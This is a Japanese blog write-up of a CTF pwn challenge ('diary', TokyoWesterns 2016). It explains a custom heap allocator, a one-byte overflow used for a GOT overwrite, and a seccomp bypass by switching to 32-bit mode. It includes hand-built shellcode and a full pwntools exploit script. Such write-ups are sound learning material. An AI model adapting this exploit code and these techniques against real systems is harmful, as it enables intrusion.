newbieからバイナリアンへ

newbieからバイナリアンへ

コンピュータ初心者からバイナリアンを目指す大学生日記

【pwn 4.12】 diary - TokyoWesterns CTF 2016

 

keywords:

自作heap, seccomp, change CPU mode, sc_pwn

 

 

 

0: 参考

bataさんの良問リスト

 

問題ファイル

 

github.com

 

 

 

 

1: イントロ

bataリストの medium-easy

TokyoWesterns CTF 2016の300点問題 "diary"

 

 

2: 表層解析

./diary: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.24, BuildID[sha1]=3648e29153ac0259a0b7c3e25537a5334f50107f, not stripped
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)




3: プログラムの概要と脆弱性

名前通り日記をつけるプログラム

Welcome to diary management service

Menu : 
1.Register	2.Show		3.Delete	0:Exit
>> 

 

diaryは以下のstructureの双方向連結リストで構成される

 

struct{
  long date;
  char* content;
  diary* next;
  diary* prev;
};

 

contentはユーザ指定のサイズだけmalloc()され

そのchunkのアドレスが格納される

 

ユーザはリストを辿って一覧を見たり

リストからエントリを外すことができる

 

とりあえず簡単にみつけた脆弱性は以下の通り

・contentの内容を入力するgetnline()で1byte overflow(\nならNULL終端)

 

他には明らかに怪しそうなところは見つからなかった






4: 自作malloc/free

gdbpwnのheapコマンドが使えなかったことで気がついたのだが

このプログラムは独自実装のmalloc/freeを使っている

なんてこった、めんどくせぇ。。。

今年のTWCTFの自作printfが思い返される

 

まずmalloc()のデコンパイルコードは以下の通り

void * malloc(size_t __size)

{
    long lVar1;
    long *plVar2;
    ulong *puVar3;
    ulong local_30;
    ulong *local_28;
    
    local_28 = h_top._8_8_;
    local_30 = __size + 0x8;
    if ((local_30 & 0x7) != 0x0) {
        local_30 = ((local_30 >> 0x3) + 0x1) * 0x8;
    }
    if (local_30 < 0x20) {
        local_30 = 0x20;
    }
    while ((local_28 != (ulong *)h_top && (*local_28 < local_30))) {
        local_28 = (ulong *)local_28[0x1];
    }
    if (local_28 == (ulong *)h_top) {
        local_28 = NULL;
    }
    else {
        unlink_freelist(local_28);
        lVar1 = (*local_28 & 0xfffffffffffffffe) - local_30;
        if (0x8 < (uint)lVar1) {
            plVar2 = (long *)(local_30 + (long)local_28);
            *plVar2 = lVar1;
            *(long *)(lVar1 + -0x8 + (long)plVar2) = lVar1;
            link_freelist(plVar2);
            *local_28 = *local_28 - lVar1;
        }
        puVar3 = (ulong *)((long)local_28 + (*local_28 & 0xfffffffffffffffe));
        *puVar3 = *puVar3 | 0x1;
        local_28 = local_28 + 0x1;
    }
    return local_28;
}

短いって素敵♥

 

h_top(0x602110)にarena/bin的な役割のものがおいてある

malloc()は基本はlibcのものと同じであった

違いは

・tcacheを使わない

freelistは一つだけである

・よってmalloc()する際にはsizeメンバだけを頼りにして割当を行う

 

free()に関してもそれ以外はおおよそ普通に実装されている

何らかのデータの不整合が会ったとしてもエラーを吐いて落ちるのではなく

返り値でエラーを示すだけになっている

但しunsortedbinなどと違い

リストに繋ぐときは根本ではなく最後に繋ぐようになっている



5: exploitの手順

heapアドレスのleak

さて、まずはheapのいずれかの場所のアドレスをリークする

これについては簡単で、一度structとして割り当てたchunkをfreeし

これを今度はcontentとしてmallocすることで

struct中の情報であるヒープアドレスをリークすることができる

その際1文字以上入力する必要があるためLSB1byteは失われてしまうが

(今回の)heap baseの下3nibbleは0であることがわかっているため問題ない





任意の場所にchunkを置く

contentの1byte overflowにより

次のchunkのsizeがoverwriteできる

これによって大きなchunkの内部の後半にfake chunkを仕込んでおいて

前半をfree()することにより後半の偽chunkのunlink_freelist()を呼び出すことができる

(【注】unlink_freelistのようなlistの繋ぎ変えはdiaryリストにおいても全く同様に行われている

実際、GOTの書き換えをしているのはunlink_freelistではなくdiaryリストの繋ぎ変えに於いてである)

unlink_freelist()では単純にfd->bkとbk->fdを書き換えるだけでチェック機構は一切ないというがばがば使用

 

よって偽チャンクのbkに(GOT addr - 0x8)をいれておけば

そこの値をfdの値に書き換えることができる

 

 f:id:smallkirby:20191002215530p:plain

 

 

 

但しここで懸念となるなのはfd->bkを書き換えるときに

fdの指す先(+0x10の8byte)を書き換えてしまうこと

よって何で書き換えるかに、text領域などの書き換え不可の値を入れるわけにはいかない

 

 

なにかいい値ないかなーと思いvmmapしてみたところ

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x402000 r-xp     2000 0      /home/wataru/Documents/pwnable/diary/diary
          0x601000           0x602000 r--p     1000 1000   /home/wataru/Documents/pwnable/diary/diary
          0x602000           0x603000 rw-p     1000 2000   /home/wataru/Documents/pwnable/diary/diary
    0x7f38ea85e000     0x7f38eaa45000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f38eaa45000     0x7f38eac45000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f38eac45000     0x7f38eac49000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f38eac49000     0x7f38eac4b000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f38eac4b000     0x7f38eac4f000 rw-p     4000 0      
    0x7f38eac4f000     0x7f38eac76000 r-xp    27000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    0x7f38eae54000     0x7f38eae56000 rw-p     2000 0      
    0x7f38eae75000     0x7f38eae76000 rwxp     1000 0      
    0x7f38eae76000     0x7f38eae77000 r--p     1000 27000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7f38eae77000     0x7f38eae78000 rw-p     1000 28000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7f38eae78000     0x7f38eae79000 rw-p     1000 0      
    0x7ffe5e1dc000     0x7ffe5e1fe000 rw-p    22000 0      [stack]
    0x7ffe5e3c1000     0x7ffe5e3c4000 r--p     3000 0      [vvar]
    0x7ffe5e3c4000     0x7ffe5e3c6000 r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]

 

ご丁寧に下線まで引いていい感じの領域を示してくれた

これは独自ヒープとして使用している領域である

 

ここにshellcodeをおいておけば

書き換えられてもとりあえずSIGSEGVにはならない

 

書き換えられてしまう分はjmp命令で飛ばすことにする

以下を参考にしてjmp 0x8命令を書いた

 

softwaretechnique.jp






以上のようにして

無事shellcode上にripを置くことができた

pwndbg> x/30i $rip
=> 0x7fbbf4754158:	xor    eax,eax
   0x7fbbf475415a:	movabs rbx,0xff978cd091969dd1
   0x7fbbf4754164:	neg    rbx
   0x7fbbf4754167:	push   rbx
   0x7fbbf4754168:	push   rsp
   0x7fbbf4754169:	pop    rdi
   0x7fbbf475416a:	cdq    
   0x7fbbf475416b:	push   rdx
   0x7fbbf475416c:	push   rdi
   0x7fbbf475416d:	push   rsp
   0x7fbbf475416e:	pop    rsi
   0x7fbbf475416f:	mov    al,0x3b
   0x7fbbf4754171:	syscall 




ところがどっこい、

以下のようなあまりみたことのないエラーを吐いて落ちる

─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
   0x7fbbf4754157    nop    
   0x7fbbf4754158    xor    eax, eax
   0x7fbbf475415a    movabs rbx, 0xff978cd091969dd1
   0x7fbbf4754164    neg    rbx
   0x7fbbf4754167    push   rbx
 ► 0x7fbbf4754168    push   rsp
   0x7fbbf4754169    pop    rdi
   0x7fbbf475416a    cdq    
   0x7fbbf475416b    push   rdx
   0x7fbbf475416c    push   rdi
   0x7fbbf475416d    push   rsp
   
pwndbg> 

Program terminated with signal SIGSYS, Bad system call.

 

この種のエラーを調べてみると

seccompなるものがあるらしい

特定のシステムコールのみを許可/禁止するkernelの機能らしい

ghidraで確認してみると以下のようなコードがあった

 

void init_seccomp(void)

{
    int iVar1;
    long lVar2;
    undefined8 *puVar3;
    undefined8 *puVar4;
    undefined2 local_a8 [0x4];
    undefined8 *local_a0;
    undefined8 local_98 [0x12];
    
    lVar2 = 0x12;
    puVar3 = &DAT_004016c0;
    puVar4 = local_98;
    while (lVar2 != 0x0) {
        lVar2 = lVar2 + -0x1;
        *puVar4 = *puVar3;
        puVar3 = puVar3 + 0x1;
        puVar4 = puVar4 + 0x1;
    }
    local_a8[0] = 0x12;
    local_a0 = local_98;
    iVar1 = prctl(0x26,0x1,0x0,0x0,0x0);
    if ((iVar1 == 0x0) && (iVar1 = prctl(0x16,0x2,local_a8), iVar1 == 0x0)) {
        return;
    }
    fwrite("SECCOMP_FILTER is not available...\n",0x1,0x23,stderr);
                    /* WARNING: Subroutine does not return */
    _exit(-0x1);
}

テンプレのコードと比較しながらバイナリをたどたどしく見ていくと

以下がseccompで禁止されているようだ

 

f:id:smallkirby:20191002002126p:plain
 



調べてみると32bitモードに切り替えてそっちのシステムコールを使うという手法があるらしい

この問題のlibcの配布verはわからない(というか調べたらネタバレしそうで嫌だ)が

32bitが完全に破棄されるのはUbuntu 19かららしいため

32bitモードにに切り替える方針で行く

 

cpuのモード切り替える簡単な方法ないかなぁとおもったところ

ShiftCropsさんが書いたsc_pwnというライブラリにchange_cpu_modeという便利な関数があった

【追記】解き終わった後ネタバレwriteup見てみたら、まさしくこのShiftCropsさんが作問者様であった。。。



さあこれでCPU32bit modeに移せるのだが

シェルコードを入れた場所でそのままmodeを移行してしまうと

レジスタに既に入っている値が32bitアドレス空間に収まらなくなってしまい以下のエラーが出る

────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
 RAX  0x5
 RBX  0x0
 RCX  0x7f3dbcffb154 (write+20) ◂— cmp    rax, -0x1000 /* 'H=' */
 RDX  0x7f3dbd2d88c0 (_IO_stdfile_1_lock) ◂— 0x0
 RDI  0x0
 RSI  0x7f3dbd2d77e3 (_IO_2_1_stdout_+131) ◂— 0x2d88c0000000000a /* '\n' */
 R8   0x4
 R9   0x0
 R10  0x7f3dbd089cc0 (_nl_C_LC_CTYPE_class+256) ◂— add    al, byte ptr [rax]
 R11  0x246
 R12  0x400980 (_start) ◂— xor    ebp, ebp
 R13  0x7fff66c4add0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fff66c4acf0 —▸ 0x4015d0 (__libc_csu_init) ◂— push   r15
 RSP  0x66c4ace8
 RIP  0xbd50216a
─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
Invalid address 0xbd50216a










──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────

────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
 ► f 0         bd50216a
─────────────────────────────────────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV (fault address 0xbd50216a)
pwndbg> 

 

RIP64bit空間のアドレスから無理やり下32bitを取ってきているためinvalidになっている

 

よってまずは64bit shellcode中で32bit空間にシェルコードをおける空間をmmap()する

そのあと新しく作った空間にjmpする

そのあと32bit modeに切り替える(retfする)

 

あとは32bitようのshellcode実行して終わりだぁぁと思ったら

RSPには依然として64bit空間におけるstackが入っており

このまま使うとSEGVになった

よってスタック領域もまた別途mmapしてきた

 

 

さぁこれでいける!!!!と思ったら

 ► 0x8000003c    push   0x6873
   0x80000041    add    byte ptr [rax], al
   0x80000043    add    byte ptr [rax], al
   0x80000045    add    byte ptr [rax], al
   0x80000047    add    byte ptr [rax], al
   0x80000049    add    byte ptr [rax], al
──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ rbx rsp  0xf0000000 ◂— 0x0
... ↓
────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
 ► f 0         8000003c
   f 1                0
─────────────────────────────────────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV (fault address 0xeffffffc)

 

まあそりゃあそうか

スタックは上に伸びるんだから確保した領域の一番上にespを置いちゃあだめだね

ってことで少し下にespを設定した

 

あとは地道にシェルコードを錬成して

(ツールの使い方がよくわからなくて手作業で錬成してしまった)

./bashを呼んだのだが

自前環境に用意してあるbashは64bit

現在のCPUは32bit mode

ということで./bashも32bitのものを用意する必要がある

 

めんどくさいながらもvagrantに32bit Ubuntu入れて

そっから32bit bashをとってきた

(絶対他にいい方法あっただろ)

 

単体でbashが動くことを確認して再びexploitを試してみるも

execveのシステムコールが何もしていないかのように見える

 

f:id:smallkirby:20191002204703p:plain


表示はmunmapになっているが

これは32bit modeにおけるexecveのシステムコール番号と

64bit modeにおけるmunmapのシステムコール番号が同じなのを

gdbが勘違いしているからだと思われる

 

だがこれをステップ実行しても

何もせずにint命令が終わってしまう

 

 

ここで友人に相談したところ

「$rdxの値がちゃうやんけ」

と至極アタリマエのことを言ってもらったため

xor rdx, rdx命令を付与してもう一度やったところ

無事にシェルが取れた

(アタリマエのことからまずは確認しようね!!!)

 

 

ということで cat /flag してみると

 

f:id:smallkirby:20191002205919p:plain

 

 

bash自体は32bitだが他のコマンド達は64bitであるから

catを使用すると64bitシステムコールを使うことになり

seccompにひっかかって落ちる

 

ってことはbashの機能だけを使ってflagを読み出せばいいから

f:id:smallkirby:20191002210729p:plain

 はい、OK




 6: exploit

 

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sc_pwn as sc
import sys

FILENAME = "./diary"

rhp2 = {'host':"localhost",'port':12600}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

def register(conn,date,size,content):
  conn.recvuntil(">> ")
  conn.sendline("1")
  conn.recvuntil("... ")
  conn.sendline(date)
  conn.recvuntil("... ")
  conn.sendline(str(size))
  conn.recvuntil(">> ")
  conn.send(content)

def delete(conn,date):
  conn.recvuntil(">> ")
  conn.sendline("3")
  conn.recvuntil("... ")
  conn.sendline(date)

def show(conn,date):
  conn.recvuntil(">> ")
  conn.sendline("2")
  conn.recvuntil("... ")
  conn.sendline(date)
  conn.recvline()
  return conn.recvuntil("\n")[:-1]

main_addr = 0x400f2e

def exploit(conn):
  print("exit GOT: "+hex(binf.got["exit"]))
  
  #leak heap base
  register(conn,"1998/1/1",0x18,"A"*4)
  register(conn,"1998/1/2",0x18,"B"*4)
  register(conn,"1998/1/3",0x40,"C"*40)
  delete(conn,"1998/01/01")
  delete(conn,"1998/01/02")
  register(conn,"1998/01/04",0x60,"A")
  heap_base = unpack(show(conn,"1998/01/04").ljust(8,"\0")) & 0xfffffffffffff000
  print("heap base: "+hex(heap_base))


  #for shell code
  shellcode2 = sc.ShellCode("amd64").change_cpu_mode("x86")
  
  shellcode2 += sc.ShellCode("x86").mmap(0xf0000000,0x500, sc.PROT_READ|sc.PROT_WRITE, sc.MAP_PRIVATE|sc.MAP_ANONYMOUS, -1, 0)
  shellcode2 += asm("add eax,0x200")
  shellcode2 += asm("mov esp,eax")
  shellcode2 += asm("xor eax,eax")
  shellcode2 += asm("xor edx,edx")
  shellcode2 += "\x68\x00\x00\x00\x00" #push $0
  shellcode2 += "\x68sh\x00\x00" #push sh
  shellcode2 += "\x68./ba"  #push ./ba
  shellcode2 += asm("mov ebx,esp")
  shellcode2 += "\x50" #push eax
  shellcode2 += "\x53" #push ebx
  shellcode2 += asm("mov ecx,esp")
  shellcode2 += asm("mov al, 0xb")
  shellcode2 += "\xcd\x80" #int 80
  shellcode2 += sc.ShellCode("x86").exit(0)
  shellcode2_addr = heap_base + 0x130
  register(conn,"1997/1/1",0x90,shellcode2)
  
  shellcode1 = p8(0xe9) + p8(0x16+0x5) + p8(0x0)*2
  shellcode1 += p8(0x00)*(0x10-len(shellcode1))
  shellcode1 += p8(0x90)*0x8 #overwritten
  shellcode1 += p8(0x90)*0x10
  shellcode1 += sc.ShellCode("amd64").mmap(0x80000000,0x500,sc.PROT_READ|sc.PROT_WRITE|sc.PROT_EXEC,sc.MAP_PRIVATE|sc.MAP_ANONYMOUS,-1,0)
  shellcode1 += asm(shellcraft.amd64.memcpy(0x80000000,shellcode2_addr,len(shellcode2)))
  shellcode1 += asm("mov rax, 0x80000000")
  shellcode1 += asm("call rax")
  register(conn,"1998/01/05",0x90,shellcode1)
  shellcode1_addr = heap_base + 0x1f0

  #
  register(conn,"2000/1/1",0x18,"A"*8)
  register(conn,"2000/1/2",0x18,"B"*8) #to avoid consolidate
  register(conn,"2000/1/3",0x18,"C"*8)
  register(conn,"1999/1/3",0x18,"D"*8) #to avoid consolidate
  delete(conn,"2000/01/01") #free chunk: 0x50
                            #inuse chunk:0x50
  delete(conn,"2000/01/03") #free chunk: 0x50
                            #inuse chunk:0x50
                            #top chunk

  #
  #two contents are adjscent each other
  register(conn,"2000/1/4",0x90,"D"*8)
  fake_chunkB1 = p32(2000)+p8(1)+p8(5)+p16(0) #leave date to delete later
  fake_chunkB1 += p64(0x0)*2
  fake_chunkB2 = p64(0x51)
  fake_chunkB2 += p64(shellcode1_addr) #fd
  fake_chunkB2 += p64(binf.got["exit"] - 0x8) #bk
  fake_chunkB2 += p8(0)*(0x50-len(fake_chunkB2)-0x8)
  fake_chunkB2 += p64(0x50)
  fake_chunkB3 = p64(0x20)
  fake_chunkB3 += p8(0)*(0x20-len(fake_chunkB3))
  print("size:"+hex(len(fake_chunkB1)+len(fake_chunkB2)+len(fake_chunkB3)))
  register(conn,"2000/1/5",0x88,fake_chunkB1+fake_chunkB2+fake_chunkB3)

  #overwrite chunk B's size with 0x21
  delete(conn,"2000/01/04")
  register(conn,"2000/1/4",0x90,"D"*0x90+ p8(0x21))

  #free fake_chunkB1 and consolidate forward
  #and overwrite GOT of exit to shellcode in heap
  delete(conn,"2000/01/05")

  #jump to shellcode
  conn.recvuntil(">> ")
  conn.sendline("0")

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()





7: アウトロ

chunkを任意の場所に置くときまでは以前にも何回も見たことあるような手法であったが

seccompなるものに初めて遭遇したため結構時間がかかってしまった

 

それからツールをうまく使いこなせず

アセンブリを錬成するのにも結構時間がかかってしまった

あと凡ミスが多かった

 

フラグが取れた後に他の方のwriteupを探してみたところ

作問者のShiftCropsさんが自前でwriteupを書いていた

嬉しいことに、細かい実装の差異こそあれ

殆どの部分で自分のコードが模範どおりだった

それからこの問題はやっぱり400点にすべき問題だったそうだ

 

 

それからCTFの過去問はまずここ1年以内のやつをやれという部長命令をもっともだと思ったため

次エントリからはbataリストを一旦さておいて

今年開催のCTFから潰していくことになると思う








続く・・・